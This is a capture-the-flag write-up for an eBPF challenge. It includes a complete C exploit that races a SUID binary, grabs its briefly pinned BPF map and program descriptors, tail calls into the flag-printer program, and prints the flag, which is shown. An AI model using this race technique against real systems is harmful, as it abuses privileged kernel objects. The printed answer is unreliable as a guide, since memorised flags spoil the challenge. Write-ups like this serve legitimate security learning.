Challenge Description:
Have you ever locked your keys in your car? Log in with user 'ebpf' and an empty password.
Running /chal (a SUID root binary) gives away the game immediately:
terminal
$ /chal
Dang, I left my flag printer in /sys/fs/bpf/prog_map.
Now /sys/fs/bpf/flag will remain empty forever...
Ngl, the binary pins the BPF map and program to /sys/fs/bpf/ and then immediately unpins them. Since unprivileged BPF is allowed, we just need to race the binary, snag the file descriptors (FDs) using BPF_OBJ_GET, and trigger the tail call ourselves.
Btw, the "flag printer" is just a BPF program in a PROG_ARRAY. We catch it, load a wrapper to tail call into it, and read the resulting flag from the caught flag map.
catcher.c
#include <stdio.h>
#include <linux/bpf.h>
#include <sys/syscall.h>
#include <unistd.h>
#include <stdint.h>
#include <sys/socket.h>
int bpf(int cmd, union bpf_attr *attr, unsigned int size) {
return syscall(__NR_bpf, cmd, attr, size);
}
int main() {
int flag_fd = -1, prog_map_fd = -1;
union bpf_attr attr = {0};
// Race to snag the pinned FDs
while (flag_fd == -1 || prog_map_fd == -1) {
attr.pathname = (uint64_t)"/sys/fs/bpf/flag";
if (flag_fd == -1) flag_fd = bpf(BPF_OBJ_GET, &attr, sizeof(attr));
attr.pathname = (uint64_t)"/sys/fs/bpf/prog_map";
if (prog_map_fd == -1) prog_map_fd = bpf(BPF_OBJ_GET, &attr, sizeof(attr));
}
// BPF bytecode to tail call into prog_map[0]
struct bpf_insn insns[] = {
{ .code = 0x18, .dst_reg = 2, .src_reg = 1, .imm = prog_map_fd },
{ .code = 0, .imm = 0 },
{ .code = 0xb7, .dst_reg = 3, .imm = 0 }, // index 0
{ .code = 0x85, .imm = 12 }, // BPF_FUNC_tail_call
{ .code = 0xb7, .dst_reg = 0, .imm = 0 },
{ .code = 0x95 }
};
union bpf_attr load_attr = {
.prog_type = BPF_PROG_TYPE_SOCKET_FILTER,
.insns = (uint64_t)insns,
.insn_cnt = sizeof(insns) / sizeof(struct bpf_insn),
.license = (uint64_t)"GPL",
};
int prog_fd = bpf(BPF_PROG_LOAD, &load_attr, sizeof(load_attr));
int socks[2];
socketpair(AF_UNIX, SOCK_DGRAM, 0, socks);
setsockopt(socks[0], SOL_SOCKET, SO_ATTACH_BPF, &prog_fd, sizeof(prog_fd));
write(socks[1], "trigger", 7); // Trigger the flag printer
sleep(1);
uint32_t key = 0;
char value[64] = {0};
union bpf_attr lookup = { .map_fd = flag_fd, .key = (uint64_t)&key, .value = (uint64_t)value };
bpf(BPF_MAP_LOOKUP_ELEM, &lookup, sizeof(lookup));
printf("Flag: %s\n", value);
return 0;
}
terminal
ebpf@buildroot:~$ gcc catcher.c -o catcher
ebpf@buildroot:~$ ./catcher &
ebpf@buildroot:~$ /chal
Dang, I left my flag printer in /sys/fs/bpf/prog_map.
Now /sys/fs/bpf/flag will remain empty forever...
Flag: dalctf{1_<3_t41l_c4ll5}
Flag
dalctf{1_<3_t41l_c4ll5}